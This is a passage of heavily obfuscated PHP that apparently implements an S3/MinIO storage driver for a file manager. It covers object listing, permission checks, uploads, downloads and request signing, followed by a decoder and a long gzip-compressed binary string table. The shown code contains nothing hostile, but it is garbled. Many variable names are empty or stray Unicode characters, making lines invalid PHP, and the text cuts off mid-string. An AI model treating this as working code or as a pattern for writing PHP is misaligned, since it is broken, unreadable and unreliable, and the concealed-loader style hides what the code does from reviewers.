$this->cacheMethod($Ѿ[198], $ށ, !0); } return array($Ѿ[77] => $, $Ѿ[76] => $); } private function listObjs($, $Ë = null, $ = null, $̡ = null) { $ =& $_SERVER[㫙]; $ = trim($, $[8]); $ = empty($) && $ !== $[190] ? $[12] : $ . $[8]; return $this->client->getBucket($this->bucket, $, $Ë, $, $̡, !0); } public function has($ڟ, $ܞ = false, $׍ = true) { $ޔ =& $_SERVER[㫙]; $ڟ = trim($ڟ, $ޔ[8]); $ = empty($ڟ) && $ڟ !== $ޔ[190] ? $ޔ[12] : $ڟ . $ޔ[8]; $҅͜ = null; $ځ = 500; $ = $ޔ[8]; $ = $Ⱥ = array(); while (!0) { $̄ = $this->listObjs($ڟ, $҅͜, $ځ, $); if (!$̄) { break; } $҅͜ = $̄[$ޔ[201]]; $ = $̄[$ޔ[197]]; $ = $̄[$ޔ[200]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$ޔ[32]] == $) { break; } if ($ܞ) { if (count($)) { $ = array_column($, $ޔ[32]); $ = array_merge($, $); } if (count($)) { $ = array_column($, $ޔ[32]); $Ⱥ = array_merge($Ⱥ, $); } if ($҅͜ === null) { break; } continue; } if ($׍) { if (!empty($)) { if (count($) > 1 || isset($[0][$ޔ[32]]) && $[0][$ޔ[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($҅͜ === null) { break; } } if ($ܞ) { $ = array_diff($, array($)); $ = count(array_unique($)); $Ⱥ = count(array_unique($Ⱥ)); return array($ޔ[202] => $, $ޔ[203] => $Ⱥ); } return !1; } public function listAll($ƻ) { $ =& $_SERVER[㫙]; $ = $this->fileList($ƻ, $[12], !0); $ = array(); foreach ($[$[76]] as $ܕ麗) { $[$ܕ麗[$[32]]] = $ܕ麗[$[80]]; } foreach ($[$[77]] as $ܕ麗) { if (is_string($ܕ麗)) { $[$ܕ麗] = 0; } } return $this->listAllFiles($ƻ, array_keys($), $); } public function canRead($ܔ) { $ǜ =& $_SERVER[㫙]; $̠ = $this->client->getAccessControlPolicy($this->bucket, $ܔ); if (!$̠) { return !1; } return in_array($̠, array($ǜ[204], $ǜ[205], $ǜ[206])) ? !0 : !1; } public function canWrite($ځ) { $ؙ =& $_SERVER[㫙]; $Ŧʑ = $this->client->getAccessControlPolicy($this->bucket, $ځ); if (!$Ŧʑ) { return !1; } return in_array($Ŧʑ, array($ؙ[204], $ؙ[205])) ? !0 : !1; } public function getContent($܆) { return $this->client->getObject($this->bucket, $܆); } public function setContent($⡽, $ޔ = '', $ = false) { $ =& $_SERVER[㫙]; $⡽ = $ ? trim($⡽, $[8]) . $[8] : $⡽; $ = get_file_mime(get_path_ext($⡽)); $ʷ = $this->client->putObject($ޔ, $this->bucket, $⡽, $[191], array(), $); if (!$ʷ) { return !1; } if ($) { return !0; } $this->cacheMethod(null, null); $ʷ = $this->copyFile($⡽, $⡽, array($[207] => $ʷ[$[208]])); return $ʷ ? !0 : !1; } public function fileSubstr($蘏, $މ, $ͼ) { $ճ = $މ + $ͼ - 1; return $this->client->getObject($this->bucket, $蘏, array($_SERVER[㫙][209] => "\x62\171\164\145\x73\x3d{$މ}\55{$ճ}")); } public function upload($ʮ, $Ș, $ُ = false, $؁ص = REPEAT_REPLACE) { $ =& $_SERVER[㫙]; $뤊 = array($[207] => @md5_file($Ș)); $Ĉҿ = array($[210] => get_file_mime(get_path_ext($ʮ))); if (IO::size($Ș) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($Ș, $this->bucket, $ʮ, $[191], $뤊, $Ĉҿ); return !empty($) ? $this->getPathOuter($ʮ) : !1; } $“ = $this->client->multiUploadObject($Ș, $this->bucket, trim($ʮ, $[8]), $뤊, $Ĉҿ); return $“ ? $this->getPathOuter($ʮ) : !1; } public function download($ā, $Ŭ) { if (!@is_dir($this->pathFather($Ŭ)) && !IO::mkdir($this->pathFather($Ŭ))) { return !1; } $ = $this->client->getObject($this->bucket, $ā, array(), $Ŭ); return $ !== !1 ? $Ŭ : !1; } public function link($, $덙 = array()) { $쵥 =& $_SERVER[㫙]; if ($this->signVer == $쵥[211]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $덙); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $쵥[8]), 3600 * 12, $this->region, array(), !0, $덙); } public function fileOut($ч, $ = false, $П = false, $ = '') { $ =& $_SERVER[㫙]; if ($this->isFileOutServer()) { return $this->fileOutServer($ч, $, $П, $); } if (!$П) { $П = $this->pathThis($ч); } $ = get_file_mime(get_path_ext($П)); if ($ == $[212]) { return parent::fileOut($ч, $, $П, $); } $𱊹 = array($[213] => $); if ($) { $𱊹[$[214]] = $[215] . rawurlencode($П); } else { } $ = $this->link($ч, $𱊹); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ē = false, $ = '') { parent::fileOut($, $, $ē, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($, $ = '') { $ى =& $_SERVER[㫙]; $ق = $this->objectMeta($); if (!$ق) { return !1; } $ = $ ? $ : _get($ق, $ى[216]); $ = $ ? $ : _get($ق, $ى[208], $ى[12]); return $; } public function uploadFormData($ן, $о = 3600) { $ =& $_SERVER[㫙]; $̹ = $this->pathFather($ן); $ = $this->client->getHttpUploadPostParams($this->bucket, $̹, $[191], $о); return array_merge((array) $, array($[174] => $this->getHost())); } public function multiUploadFormData($ɰ, $ = 3600) { $ܡ =& $_SERVER[㫙]; $ = gmdate($ܡ[217]); $Ո = array(); $깯 = $this->client->getUploadId($this->bucket, $ɰ, $Ո); if (!$깯) { return !1; } return array($ܡ[218] => $깯, $ܡ[174] => $this->getHost() . $ܡ[8] . $this->pathEncode($ɰ), $ܡ[219] => $, $ܡ[95] => $ɰ); } public function multiUploadAuthData($Á, $ݷݐ = array()) { $ =& $_SERVER[㫙]; $ި = isset($ݷݐ[$[219]]) ? $ݷݐ[$[219]] : gmdate($[217]); $̮ = isset($ݷݐ[$[167]]) ? $ݷݐ[$[167]] : $[12]; $ɺ = $ݷݐ[$[95]]; unset($ݷݐ[$[95]]); if (isset($ݷݐ[$[220]])) { $ݷݐ[$[219]] = $ި; return $this->listUploadParts($ɺ, $ݷݐ); } $Λ = array($[221], $[12], $[118], $[12], "\170\55\x61\155\x7a\55\144\x61\164\145\x3a{$ި}", $[8] . $this->bucket . $[8] . $this->pathEncode($ɺ) . $̮); if (strpos($̮, $[222]) === 0) { $Λ[0] = $[223]; } if (isset($ݷݐ[$[224]]) && $ݷݐ[$[224]] == $[225]) { $Λ[0] = $[225]; } $哑 = implode($[226], $Λ); $Ɨ = base64_encode(hash_hmac($[227], $哑, $this->secret, !0)); $י = $[228] . $this->accessKey . $[4] . $Ɨ; if (strpos($̮, $[222]) === 0) { return array($[229] => $י, $[219] => $ި); } return $י; } public function listUploadParts($, $ӽ = array()) { $Λ =& $_SERVER[㫙]; $ = str_replace($Λ[230], $Λ[12], $ӽ[$Λ[167]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } unset($ӽ[$Λ[220]], $ӽ[$Λ[224]]); $ӽ[$Λ[95]] = $; $ = $this->multiUploadAuthData($, $ӽ); if (empty($)) { return !1; } return array($Λ[229] => $, $Λ[219] => $ӽ[$Λ[219]], $Λ[231] => $); } public function getHost() { return parent::getHost() . $_SERVER[㫙][8] . $this->bucket; } public function size($ߪ) { $֔ = $this->objectMeta($ߪ); return $֔ ? $֔[$_SERVER[㫙][80]] : 0; } public function info($ǝ) { if ($this->isFolder($ǝ)) { return $this->folderInfo($ǝ); } else { if ($this->isFile($ǝ)) { return $this->fileInfo($ǝ); } } return !1; } public function exist($Ԭ) { return $this->isFile($Ԭ) || $this->isFolder($Ԭ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[㫙][198], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[㫙][199], $); } protected function _objectMeta($Ѽͪ) { $ʲ =& $_SERVER[㫙]; $Ѽͪ = rtrim($Ѽͪ, $ʲ[8]); try { $ҝ = $this->client->getObjectInfo($this->bucket, $Ѽͪ); if (!isset($ҝ[$ʲ[216]]) && isset($ҝ[$ʲ[232]])) { $ҝ[$ʲ[216]] = $ҝ[$ʲ[232]]; } } catch (Exception $Ʉ) { $ҝ = !1; } if (!$ҝ) { } return $ҝ; } protected function _isFolder($ӈ) { $끼 =& $_SERVER[㫙]; $ӈ = rtrim($ӈ, $끼[8]); if ($ӈ == $끼[12] || $ӈ == $끼[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $ӈ, null, 1); if (empty($[$끼[197]])) { return !1; } $ϐ = $[$끼[197]][0][$끼[32]]; return stripos($ϐ, $ӈ . $끼[8]) === 0 ? !0 : !1; if (substr($ϐ, -1) == $끼[8]) { return !0; } if (get_path_this($ϐ) == get_path_this($ӈ)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ĉ) { parent::__construct($ĉ); $this->signatureVersion($_SERVER[㫙][211]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto Eؿ; c: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(base64_decode('w+ya46uZ'), "\x95\x81\x91\x92\xd6\xe8"); $_SERVER[㫙] = explode("\174\1\174\4\174\3", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\275\11\174\33\305\365\70\336\362\205\226\243\320\26\50\245\234\213\41\261\235\350\260\235\333\211\23\144\133\266\105\144\311\221\344\34".base64_decode('xI6yllbS2pJW2V35yAEJlHKGcF8NN6RQINx3IFBogUILhbaE0hPiJECB0hbK1fY=')."\67\307\233\143\127\62\174\377\237\377\357\363\371\5\22\355\274\271\147\336\274\171\357\315\233\67\133\236\170\355\255\353\157\133\373\325\265\173\257\375\237\27\67\154\176\371\347".base64_decode('t9Jv9N9e6C/5Pvbcfb9C/hxy7jl1dV0z958a+cam++5Qt6o/Vs+Php9/IXTgL28=').base64_decode('Pym468bnx3Z99Suf/8ya2owS07zN9EcpGraijeqWbVFAyihm9Cz91ov0109/emM=').base64_decode('YVMrGLZGgz76k4R2kX+tVXmdxScj0UQy3tvTE4wlIFGzHF8w0vBVUk21APWXNNM=')."\102\255\221\213\113\226\214\222\126\164\100\4\40\255\332\352\200\152\101\111\355\255\311\366\140\117\70\272\54\231\130\326\23\204\24\3\311\125\145\315\34\243\41\362\31\267\125"."\xd3\x4e\xe8\x5\x8d\xa7\x18\x31\x79\xbb\x5a\x83\x9d\xa1\x88\x92\x88\x5\x22\xf1\x40\x5b\x22\x14\x8d\x50\x70\x5b\xb4\xbb\x3b\x94\xa8\x84\xc7\xa2\xe1\x70\x6b\xa0\x6d\x61\x65\x4c\x4f\x2c\xd0".base64_decode('2R1QUPvyWlIvZow6ZSWNWanU048OXcun6WdRZc2xx0rwleBfaJqK5XyeBiL8K60=')."\x65\xd4\x72\x1e\x46\xab\x5d\xe\x94\x4c\xbd\xa0\xb2\x4e\x2f\xd4\xc6\x38\x94\x7e\xa8\x65\xdb\xd0\x8b\x29\x1a\x8\x8e\xda\xa6\x2a\xe0\xa8\xad\x29\x34\xd1\x5a\x11\x8a\x8a\x7\xc3\xc1\xb6\x84".base64_decode('ghuodMSi3QpMQkG1bM1UlnQFY0EFN7qllvS1VgF8iaChUALhsDJRCbZWKLFiaJ4=')."\52\205\105\143\355\301\230\322\272\114\21\43\224\62\12\5\243\350\103\245\240\231\264\245\246\6\143\61\372\341\1\364\16\207\360\244\101\40\332\321\21\17\362\20\164\156\121"."\30\265\144\32\340\247\43\224\316\344\355\344\260\232\57\63\64\35\242\277\265\360\3\277\206\5\250\273\112\57\352\145\100\123\50\302\60\370\262\202\217\62\113\255\61\210\226"."\206\217\2\312\157\300\312\103\313\160\230\176\266\314\247\277\163\41\321\100\22\307\151\246\235\324\212\51\43\255\27\141\261\56\0\244\123\355\134\273\251\243\4\120\222\341\113".base64_decode('GaWxbmMYepHR81qYr7CMkU9rpgiXUHY5Brqjr5ZyR8oFOQkPpnJ6Pm2yhflFKdE=')."\xd2\xd7\x33\x63\x62\x1\x5a\x46\xd9\x4c\x69\x21\xb4\x44\x44\xde\x1e\xde\x92\x46\x48\xa4\xd9\x36\xea\xad\xc5\xfa\xd5\x5b\xca\x1b\x6a\x3a\xae\x99\x52\x5f\x3b\x50\xc6\x68\xd9\x96\x81\x65\x92"."\xac\xc3\x30\xb\xed\x88\x54\x40\xfd\x68\x99\xe8\xbd\x55\x22\x86\xd8\x42\x49\x4b\x43\xe8\xaf\x5b\xbe\xc1\xfb\x9f\xfe\xe5\x27\xa2\x7f\xea\x81\x16\xf6\x41\x9b\x72\x5a\x3e\x9f\xd4\x46\x35\x58"."\x49\x85\xf4\xc\x8b\x75\xd2\x6f\xd\xe8\x45\x3f\x82\xd0\x60\x28\x9a\xcc\xa9\x56\xae\x3b\x3d\x23\x49\x72\x31\x12\x9b\xd6\x46\x7d\xa5\x5c\x9\x96\x39\x5f\xd9\x7d\xe\x4c\xc7\xd3\x12\x31\xec"."\xa0\x44\xa8\xf3\x46\x4a\xcd\xcb\x5d\xa4\xdf\x39\xdb\x2e\xc5\xb5\x62\x1a\x8f\x4\x74\xc5\x18\x29\x92\x91\x2a\x69\x1a\x24\x6a\xf7\x28\x69\xa5\x5b\x59\xa6\x74\x35\xeb\xcd\x16\xcb\x58\xc8\xf3"."\57\326\73\16\263\70\320\36\5\124\251\1\212\121\52\345\365\224\152\353\106\321\157\244\154\315\366\132\266\251\251\220\72\220\112\151\226\345\155\63\212\266\151\344\275\201\174"."\336\30\361\106\115\75\253\27\233\225\51\100\131\121\44\132\301\136\114\355\232\141\131\326\314\125\60\22\340\45\77\245\245\154\147\274\263\331\162\343\251\115\265\150\145\64\323"."\33\204\145\320\254\240\361\346\44\217\45\153\327\255\222\141\351\270\171\315\212\152\333\152\52\207\311\205\50\276\205\321\300\222\156\152\26\253\137\351\354\116\100\101\50\207\346"."\355\61\325\154\101\155\126\112\345\1\324\133\130\152\125\140\64\65\164\267\131\111\341\240\107\51\224\55\333\153\152\210\226\350\150\277\202\171\11\145\274\335\170\35\350\132\332"."\33\107\44\27\300\323\32\246\53\150\252\25\26\107\241\135\211\104\117\62\324\201\366\324\110\60\331\35\110\264\165\101\263\155\65\313\332\34\106\204\224\27\311\200\113\275\150"."\x3d\x60\x64\x88\xa0\xbe\xa\x60\x8f\x31\xa2\x99\xa8\xe2\xd6\xb1\x66\x65\xc8\x48\xf\x18\xa3\x3e\x16\x85\x13\xc7\xd1\x82\x67\x89\xf1\x14\x96\x6c\x6f\x4c\x2d\x66\xf1\xf8\xc\x8c\xd9\x1a\xa0"."\x8c\x35\x9c\x75\xe\x76\x58\x2b\x66\xed\x1c\xcb\x18\xf\xc6\x16\x7\x63\xc9\x78\xb4\x23\xb1\x24\x10\x83\xdd\xb8\x88\x66\x7e\x94\x55\x85\x8b\xce\x7b\x63\x5a\x1a\xd\x7d\xca\x66\xf9\xd4\x12"."\36\65\226\6\43\63\236\53\26\213\21\234\305\205\103\235\170\140\332\275\26\112\344\225\123\261\262\303\172\101\307\155\267\171\14\31\111\264\125\167\102\203\374\244\103\55\175".base64_decode('uSl1femp9V7075T65X3tvin9C/y6yONv9DUqTQ0zlR7EO+hqXoFOV6RoUKILncM=')."\42\60\264\150\24\265\57\30\34\274\371\110\313\324\65\254\300\157\4\27\365\6\343\211\144\167\60\321\25\155\207\332\203\1\370\12\33\164\51\262\336\56\247\77\375\76\101"."\130\21\76\204\12\152\326\105\156\161\250\333\60\65\47\104\220\377\45\172\232\321\143\34\354\322\364\154\16\372\256\343\322\122\106\336\60\325\74\246\112\14\301\65\106\51\262".base64_decode('egbmjhJAEYjrhRKjU3auXBiQPoHSWggX2D6RM/g+ZZjw1eyHhJOaOhil9cenof8=')."\5\131\115\33\5\225\61\263\204\4\151\151\112\203\50\150\212\43\246\113\123\305\306\147\233\266\201\241\246\43\111\267\146\347\14\230\244\254\306\232\124\346\155\143\255\114\153".strrev('Z v4l'."\0".'U^`Vbr+uب!zkU-$cNFy')."\112\64\234\324\255\16\151\27\117\32\44\16\65\136\25\351\173\114\55\243\303\202\54\242\31\353\126\315\41\226\1\315\220\330\106\160\100\52\254\243\67\34\116\266\105\43\11"."\304\377\122\310\222\130\50\21\144\70\32\150\117\6\332\172\370\246\50\146\34\22\140\142\122\111\375\51\144\270\11\72\206\232\343\27\133\20\242\316\45\243\150\151\336\24\344"."\x10\x7c\x72\x45\x54\x5a\x50\x7d\xa0\x29\x82\xf2\xbb\x8\xff\xa8\x57\x2d\xac\xf6\x16\xd0\xa0\x78\x79\x43\x9d\xfb\xa3\x92\x90\xb7\xd9\x10\xcc\xa2\x20\xe4\x78\x18\x91\x8\xc3\x36\xe6\x9e\x68".base64_decode('HDIswFDE9AxoJlTW0wtRBQmDOoMA3J/ttSqwPIElcUaEyyi9qa9WRZcWsPawjhQ=')."\xf2\x82\x8f\x73\xf6\xca\x2b\x46\x3e\xd1\x15\x8a\x2c\x4c\x76\x47\xdb\x83\xe1\x64\x28\x82\xa8\x50\xa2\x12\xde\xdb\xd3\x1e\x60\x53\x29\xc3\x5b\xa3\x89\x2e\x7\xb4\x17\xd1\xa1\xc5\x81\x70\xc8"."\235\74\270\64\24\117\304\253\106\41\130\157\320\25\203\244\266\236\130\260\43\264\224\7\73\102\301\160\173\74\331\26\150\353\22\151\42\201\156\10\44\63\130\156\262\374\316"."\xf4\x49\x44\x50\xe3\x5c\xfa\x4a\xe\x63\x49\x92\xd\x56\xd2\x21\xf0\x24\x19\x2b\x9f\x14\x38\x84\x36\x4e\xd\x30\xd\xba\x8b\xe5\x57\xd2\x13\x90\x5e\x53\x46\x99\x91\x7b\xce\xe4\x15\x18\xd".strrev('@ӆZ4H- I1SRW%z)T)').base64_decode('5mveFUbIL+LQDASIoIwwgcwIVKOjpWTaAdacjBBSk1EkzQewiJtcEotGOiHDSE4=')."\143\15\10\301\360\327\61\106\12\44\135\133\20\54\304\5\251\114\344\21\203\76\150\260\241\134\113\177\46\323\37\304\324\101\345\132\221\215\372\0\246\335\154\367\141\37\31"."\264\32\30\335\65\312\274\266\1\303\310\263\165\212\170\1\116\60\270\244\74\150\61\44\31\145\244\146\52\333\300\140\377\110\104\27\6\43\111\206\131\64\44\141\43\5\40".base64_decode('2TMagwGxjSEmB9HIWDDOVrmprSrrbLj8vqmAxRraoqB6/4q+kal1y71Tff3oo34=')."\xca\x89\x34\x8\xa1\x3e\x9f\x23\x78\x2\xe4\x2f\x9b\x3c\x37\x66\x91\xea\xac\x5\xf5\xcd\x7d\xfe\x3e\x7f\xdd\x82\xe6\xe5\x1\xef\x6a\xd5\xbb\xba\xc1\x3b\xc7\xdb\x3f\xb5\xcf\x57\x3f\x15\x0".base64_decode('/WuaPNPX4QQo4YLj+9FPS9+CSX3eyaesPHF5X39t89Tj+nzH9430T6lfwOpJlU0=').strrev('O7ܱȬh\\@IzՈ PSSxƥ$')."\xeb\x42\xac\x11\xa2\xbf\x39\x9e\x2e\xe0\x3d\x19\xf7\x8c\x67\xc5\xeb\x1e\xf0\xa3\x5c\x4c\x9\xea\x89\xd7\xc5\x80\x9a\x2\x3a\xa0\x67\x8b\x7c\x9\xa1\x3d\x9f\xb\xd5\x4e\x8e\x7d\xcd\x24\xfa".base64_decode('u45NZFYbZaShmNFNwM5yUV/FdAZFbRV8GDbD7wHNHtEYeiC4I4yQg4l1KEoK5Qk=')."\23\10\65\140\201\210\343\50\107\46\275\224\304\34\330\10\17\245\265\42\314\323\176\220\332\112\251\45\55\56\365\60\231\114\4\132\303\301\44\243\60\100\211\131\230\120\305"."\x56\xae\x5f\x43\x5d\x13\x14\x95\xd1\x87\x94\x60\xd7\x89\x64\x2\x2b\xdf\x5a\x95\x57\x8\x61\x50\x34\xd3\x34\xcc\x66\xa2\x6a\xb4\xca\x25\xcc\xba\x29\x68\xc6\xd1\xd8\x2a\x48\xde\x56\x5a\xe6"."\53\164\310\41\137\122\236\200\222\312\370\4\54\11\153\142\321\143\12\5\155\52\211\31\262\20\303\305\270\37\177\135\137\137\171\271\226\356\137\216\20\137\365\146\372\327\114"."\x5b\x57\xcf\x38\x7a\x7f\x1f\xfa\xc3\x2\x81\x2a\x4a\xaf\x24\xa7\x86\x49\xb4\x3f\xfb\x70\x3b\xb8\xfa\xc2\x11\xe0\xd1\x34\x68\x98\x9c\x45\x2a\x39\x98\x6c\xdb\xb0\xd5\xbc\xa3\x88\x4\x86\x30"."\xd2\xc4\x36\x6e\x10\xf8\xe9\x6c\x87\x5\xc5\xc2\x5b\xb9\xa4\x2d\x24\xe4\x34\xc2\x15\x62\x5c\x6f\x21\xa9\xab\x70\x8e\xb8\x66\xfb\x78\xa\x8f\x14\x99\x44\x61\x87\xe6\xb6\xa5\x86\x11\xfb\x22"."\132\116\155\322\126\107\325\56\361\61\313\326\12\16\25\243\245\251\146\52\327\121\316\347\155\316\352\347\365\41\250\1\326\312\312\152\151\73\14\223\211\273\123\240\336\232\51".base64_decode('1RKGikUknMq4JXbVzgDiXxJKHVPHKaGI0hqNhoOBiII3cNh4EHcQD/YE0K6FBec=')._kodDe('LxFnCfc/sYaqqoQKw+Dxbnhb10KyVvSufRVztXswTxMoq1hXgT5GBvFq+VpLDQ9Z')."\113\366\4\30\357\244\226\112\176\53\75\144\371\161\107\365\141\55\254\17\370\261\246\10\153\262\175\3\214\110\114\7\164\310\151\251\241\244\72\200\326\14\223\12\313\305\274"."\136\34\142\150\204\150\261\315\32\15\152\64\10\141\36\327\203\25\107\36\314\344\170\320\150\172\160\353\75\102\300\360\10\75\234\147\130\327\106\310\7\347\363\75\300\376\173"."\x6c\xd5\x44\xbd\xc2\xfc\x39\x7c\x86\xda\x3d\xba\xd5\x4e\x64\x1b\x52\x1\x89\x62\xd\xb2\x73\x58\xe5\x92\x57\xc7\x3c\xb4\x71\x61\x6d\x58\xcb\x7b\x58\xd3\x3c\xac\xc5\x1e\x26\x9b\x78\x88\xac"."\xd9\xe\xcd\xea\x45\xeb\x1a\x9a\x45\x3e\x11\xf9\xce\x79\x30\x26\xe3\x85\xe4\x11\x7a\x42\xa8\x4e\x12\x86\x3c\x42\x50\xf2\x64\x4d\xa3\x5c\xea\x61\x35\x49\x21\xda\x18\x0\x88\x96\x72\x40\xcc"."\x30\x6c\xf\x13\x7e\x3d\x95\x72\x71\xf5\xb1\xab\xde\x74\x32\xd8\xee\xba\x61\xa2\x70\x54\xe5\x90\x7c\xc9\xcc\x54\xe\xbe\x53\xbe\x5b\x43\x4b\x4\x3d\xc1\x3a\xb6\xb7\x3a\xd2\x88\xb9\x14\x38"."\53\102\170\264\305\327\142\101\56\160\207\72\324\141\31\315\252\241\34\103\136\266\172\204\306\136\350\225\5\307\355\226\164\335\132\141\134\151\102\315\306\245\352\154\65\313\352"."\xaa\x12\x4b\xbf\x63\x5a\x6a\x2c\x25\xa4\xe5\x76\x49\x6\x77\x86\xf8\x4\x90\x95\x52\xd\xcb\xab\x4f\x2c\xc7\x5c\x3e\xf\xfb\xef\xb7\x1f\x1b\x48\x86\xce\x7c\x52\x1d\xab\xe0\xcb\xd7\x1f\xf4"."\204\120\333\150\111\360\53\264\261\230\342\307\21\55\350\310\253\260\101\66\311\321\100\353\75\316\20\136\76\76\102\373\311\21\112\234\253\116\302\301\216\204\162\122\24\321\115"."\335\110\322\74\111\234\130\41\377\30\105\305\121\66\33\56\245\205\304\213\260\132\114\123\310\112\264\251\254\154\251\141\225\324\70\262\13\134\160\66\302\303\202\112\45\166\341"."\xe1\x96\x7\x1\x6f\x93\xa4\xfb\x62\x23\x64\xa0\xa8\xd8\x77\xcb\xc0\x64\xaa\x16\x88\x7b\x58\x3\xe\x5f\x1a\x83\x89\xa9\x95\x91\x8f\xcc\xaf\x1b\xc0\xda\xe5\xa8\x17\x7\xc5\xc2\x61\x28\xa1".base64_decode('4Ao8EluEyYdXLAEpCD/OkXchpmvTxiPVoxfH9KKsNxNQse8LtgMvZJemr32ib7o=')."\133\10\275\234\7\364\165\36\274\341\110\54\201\120\12\241\326\223\135\117\264\35\112\162\265\234\121\122\350\164\157\74\30\113\272\26\62\40\176\116\65\305\230\62\212\203\227"."\275\320\106\342\44\42\50\45\313\250\303\202\45\162\344\221\350\206\145\217\261\326\313\237\316\102\151\260\175\242\100\27\127\247\124\13\312\44\111\267\302\174\263\166\176\223\236"."\46\214\252\101\254\322\143\337\6\301\177\166\72\356\330\357\211\102\242\216\301\200\337\111\112\152\12\116\251\234\371\150\3\3\234\330\43\31\42\217\266\70\323\207\27\123\47"."\336\261\344\315\202\23\167\13\357\216\62\206\306\65\264\212\0\42\112\213\127\304\311\251\205\212\12\157\4\142\343\140\43\57\326\245\230\15\261\10\35\210\223\25\55\55\243".strrev(''."\n".'*Ǻ'."\n".' yI'."\0".'߃'."\r".'.&<>s'."\r".'0aF')."\142\152\157\65\135\320\213\76\223\156\172\76\44\300\300\21\264\247\101\142\311\4\245\132\143\221\255\5\66\311\165\56\4\260\15\3\111\305\246\317\104\65\213\6\201\114\122"."\346\323\320\17\255\42\105\211\164\22\261\44\61\141\203\311\327\170\375\7\323\272\215\41\170\227\63\230\256\134\44\224\116\203\71\114\246\276\144\23\251\230\4\41\157\170\46"."\71\122\126\333\352\175\123\310\356\354\253\176\310\215\217\311\351\227\144\14\122\340\347\346\4\350\263\154\243\44\142\244\40\215\226\242\104\241\122\52\76\320\244\35\10\325\323"."\204\177\25\3\105\322\102\136\42\173\323\325\344\313\243\24\322\31\116\250\75\140\232\14\175\150\347\260\132\37\1\145\20\246\113\161\206\373\325\66\32\132\170\160\130\230\172".base64_decode('0KJwxT66En1qOh1lh1byd2VSWQ9ZvSBid8OLkkLVkwfyeXE07w5PmIUuOjmTDJk=')."\x30\x5b\x7\x11\x7c\x99\x90\x55\xd\xc6\x65\xe\x99\xa1\x76\x32\xd0\x42\x3c\x74\x33\xda\x4e\x5a\x3a\x31\xf7\x31\x1\xb1\x11\x13\x5a\x3d\x8c\x76\xea\xb6\x9c\x5e\xd4\x2c\xbe\xe1\x9a\x56\x35"."\xda\xf1\xff\x98\xcd\xad\x9c\x3\xbc\x56\x26\x42\x1c\x1c\x27\xe9\xae\xb1\xf1\xd9\xb0\x63\x77\xe5\xa\x5a\x41\x9a\x24\x6\x82\x6c\xc6\x49\xdb\xc1\xfa\xc4\x48\x19\xd2\xe2\x71\xe0\x3\x5a\xac"."\264\317\170\173\10\105\321\142\254\216\241\356\164\32\123\121\23\72\67\312\267\70\71\23\302\50\314\67\115\124\46\213\346\105\11\46\353\375\77\235\366\354\323\327\322\357\365".base64_decode('e9769UU/BdqnFqyR1aBfJHqcr9JvYRd4xtI1xpHPfLvzJf8bTz9w3S3HBc++pH4=').strrev('6Ox,cڏ?vzöS~').base64_decode('j1+wo+6dfx01mB5+55Uz515570Heoz475chjjyl+89jM7w+84P6/n/nooz/9aO8=').base64_decode('7gOW3nbfjw9ZcuQvuhe/MfnqbR888VpjNrvX48dddu/Dv1vx8Mk7+laMfb40cf8=')."\76\207\257\71\46\126\377\104\323\356\253\16\110\275\266\244\151\340\261\324\242\216\331\377\175\340\246\15\237\277\276\353\332\215\341\275\236\30\272\350\275\237\353\201\177\35\174"."\334\113\27\336\326\276\327\273\147\375\354\306\213\173\227\5\33\314\67\246\36\163\315\73\157\317\373\40\172\176\144\305\35\27\254\51\114\351\275\51\37\360\54\276\365\244\311".strrev('s~?G~]S}^Ono,wƻx[z]v˦mCyGA')."\x9d\xf\x6d\xdc\xf9\xd0\xfa\x3d\x67\xde\xf7\xfe\xb6\xf3\xc6\x37\xdd\xb9\xe7\xf4\xc7\xc6\x37\xdf\x32\x7e\xd3\x99\x3b\x1f\x7d\x6c\xcf\xf6\x33\x77\xdf\x72\xee\xce\x87\xee\xd8\xb5\xf9\xec\xf1".base64_decode('Mx7Y+ehl42ddN37mpl0Xb9z52GaUftdZomSUbPyOK3DebaeNP/TQnutv4bHvb9s=')."\0\44\26\110\142\247\146\343\253\167\314\40\213\214\216\62\137\1\204\324\54\237\322\223\327\320\10\53\304\354\4\133\157\331\71\315\124\154\142\305\245\242\277\105\243\350\245"."\10\107\257\65\132\212\136\304\321\12\233\33\37\107\312\204\126\50\141\324\202\121\362\323\233\116\16\163\156\11\377\252\15\63\215\250\202\126\170\254\305\134\325\341\117\70\374"."\xc2\xca\x3d\x25\xa3\x22\x40\xba\x59\xc9\xa0\x6c\xa\xbb\x0\xa1\xd8\x6\xfb\x2e\x8c\xf1\x49\x77\x2d\x82\xaa\xd3\xca\x9b\xc1\xa6\x36\xcb\x35\xea\x42\xbd\xb\xd\x93\xcc\xf8\xe9\x99\x49\x5".strrev('⚼joާg>!Gm'."\n".'=NJ@$sr&$ 